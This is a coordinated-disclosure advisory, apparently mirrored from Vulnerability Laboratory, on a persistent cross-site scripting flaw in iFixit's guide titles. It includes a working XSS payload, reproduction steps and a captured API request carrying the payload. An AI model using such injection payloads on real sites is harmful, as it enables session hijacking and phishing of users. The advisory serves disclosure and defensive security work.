iFixIt Guide Cross Site Scripting

2016-02-19T00:00:00
ID PACKETSTORM:135844
Type packetstorm
Reporter Hadji Samir
Modified 2016-02-19T00:00:00

Description

                                        
                                            `Document Title:  
===============  
ifixit Bug Bounty #5 - Guide Search Persistent Vulnerability  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1700  
  
Video: http://www.vulnerability-lab.com/get_content.php?id=1699  
  
  
  
Release Date:  
=============  
2016-02-17  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1700  
  
  
Common Vulnerability Scoring System:  
====================================  
3.8  
  
  
Product & Service Introduction:  
===============================  
The free repair guide for everything, written by everyone. iFixit is a private company in San Luis Obispo, California. Founded in 2003 while the   
founders were attending Cal Poly, the company sells repair parts and publishes free wiki-like online repair guides for consumer electronics and gadgets on its web site.  
  
(Copy of the Vendor Homepage: https://www.ifixit.com/ )  
  
  
Abstract Advisory Information:  
==============================  
The Vulnerability Laboratory Core Research Team discovered an application-side input validation web vulnerability in the official ifixit online service web-application.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2015-12-25: Researcher Notification & Coordination (Hadji Samir - Evolution Security GmbH)  
2015-12-26: Vendor Notification (iFixIt Security Team)  
2015-12-29: Vendor Response/Feedback (iFixIt Security Team)  
2016-02-01: Vendor Fix/Patch (iFixIt Developer Team)  
2016-02-15: Security Acknowledgements (iFixIt Security Team)  
2016-02-17: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Technical Details & Description:  
================================  
A persistent cross site scripting web vulnerability has been discovered in the official ifixit online service web-application.  
The vulnerability allows remote attackers to inject own malicious script codes to the application-side of the vulnerable modules context.  
  
The vulnerability is located in the `title name` value of the `guides` and `prerequisite guides` search modules. Remote attackers with low privileged   
web-application user accounts are able to inject own malicious script codes to the application-side of the affected POST/GET method request. The attack   
vector of the vulnerability is located on the application-side and the request method to inject is POST. The execution of the inserted payload occurs   
in the search module were the `guides` and `prerequisite guides` becomes available with keyword.  
  
The security risk of the filter bypass and persistent validation vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 3.8.   
Exploitation of the persistent input validation web vulnerability requires a low privileged web-application user accountand low or medium user interaction.   
Successful exploitation of the vulnerability results in session hijacking, persistent phishing, persistent external redirects to malicious source and   
persistent manipulation of affected or connected application modules.  
  
Request Method(s):  
[+] POST  
  
Vulnerable Module(s):  
[+] `guides`  
[+] `prerequisite guides`  
  
Vulnerable Parameter(s):  
[+] title name (Guide)  
  
Affected Module(s):  
[+] Search Guide  
  
  
Proof of Concept (PoC):  
=======================  
The persistent cross site vulnerability can be exploited by remote attackers with low privileged web-application user account and low user interaction.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
  
Manual steps to reproduce the vulnerability ...  
1. I create Guide with title name as script code payload   
Note: Payload - Samir"><img src="c" onerror=alert(document.domain)>  
2. Now the attacker needs to create new Guide page  
3. After the adding procedure he clicks to the details  
4. In the List any prerequisite guides in the searching i write Samir and i get the title about the last Guide page  
5. Samir"><img src="c" onerror=alert(document.domain)> Now the code XSS executes via payload metatag  
6. Successful reproduce of the persistent cross site scripting vulnerability!  
  
  
PoC: Exploitcode  
<div class="prereqBody">  
<i class="fa fa-minus-circle delete"></i>  
<span class="prereqName">Samir"><img src="c" onerror=alert(document.domain)></span>  
</div>  
  
  
  
--- PoC Session Logs [POST] ---  
Status: 201[Created]  
POST https://www.ifixit.com/api/2.0/guides   
Load Flags[LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Content Size[2192] Mime Type[application/json]  
Request Headers:  
Host[www.ifixit.com]  
User-Agent[Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:44.0) Gecko/20100101 Firefox/44.0]  
Accept[text/javascript, text/html, application/xml, text/xml, */*]  
Accept-Language[en-US,en;q=0.5]  
Accept-Encoding[gzip, deflate, br]  
X-Requested-With[XMLHttpRequest]  
X-HTTP-Method-Override[POST]  
X-CSRF[5vq44aqiks]  
X-ALLOW-HTTP[true]  
Api-Client[iFixit-Web]  
Content-Type[application/x-www-form-urlencoded; charset=utf-8]  
Referer[https://www.ifixit.com/Guide/new]  
Content-Length[312]  
Cookie[_ga=  
Connection[keep-alive]  
Post Data:  
{"type":"replacement","category":"test","subject":"test","title":"Samir\"><img src=\"c\" onerror=alert(document.domain)> Replacement","summary":"test","introduction":"","flags":[],"image":null,"langid":"en"}]  
Response Headers:  
Expires[Thu, 19 Nov 1981 08:52:00 GMT]  
Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]  
Pragma[no-cache]  
x-content-type-options[nosniff]  
X-Max-Age[30m]  
Content-Type[application/json]  
Content-Length[2192]  
Accept-Ranges[bytes]  
Date[Mon, 01 Feb 2016 13:52:16 GMT]  
X-Varnish[166966529]  
Age[0]  
X-Debug-Deliver[True]  
X-Debug-Cache[MISS]  
  
  
Reference(s):  
https://www.ifixit.com/  
https://www.ifixit.com/api/  
https://www.ifixit.com/api/2.0/  
https://www.ifixit.com/api/2.0/guides  
  
  
Security Risk:  
==============  
The security risk of the persistent input validation web vulnerability in the ifixit.com online service web-application is estimated as medium. (CVSS 3.8)  
  
  
Credits & Authors:  
==================  
Vulnerability Laboratory [Research Team] - Hadji Samir (samir@evolution-sec.com) [http://www.vulnerability-lab.com/show.php?user=Hadji%20Samir]  
  
  
Disclaimer & Information:  
=========================  
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`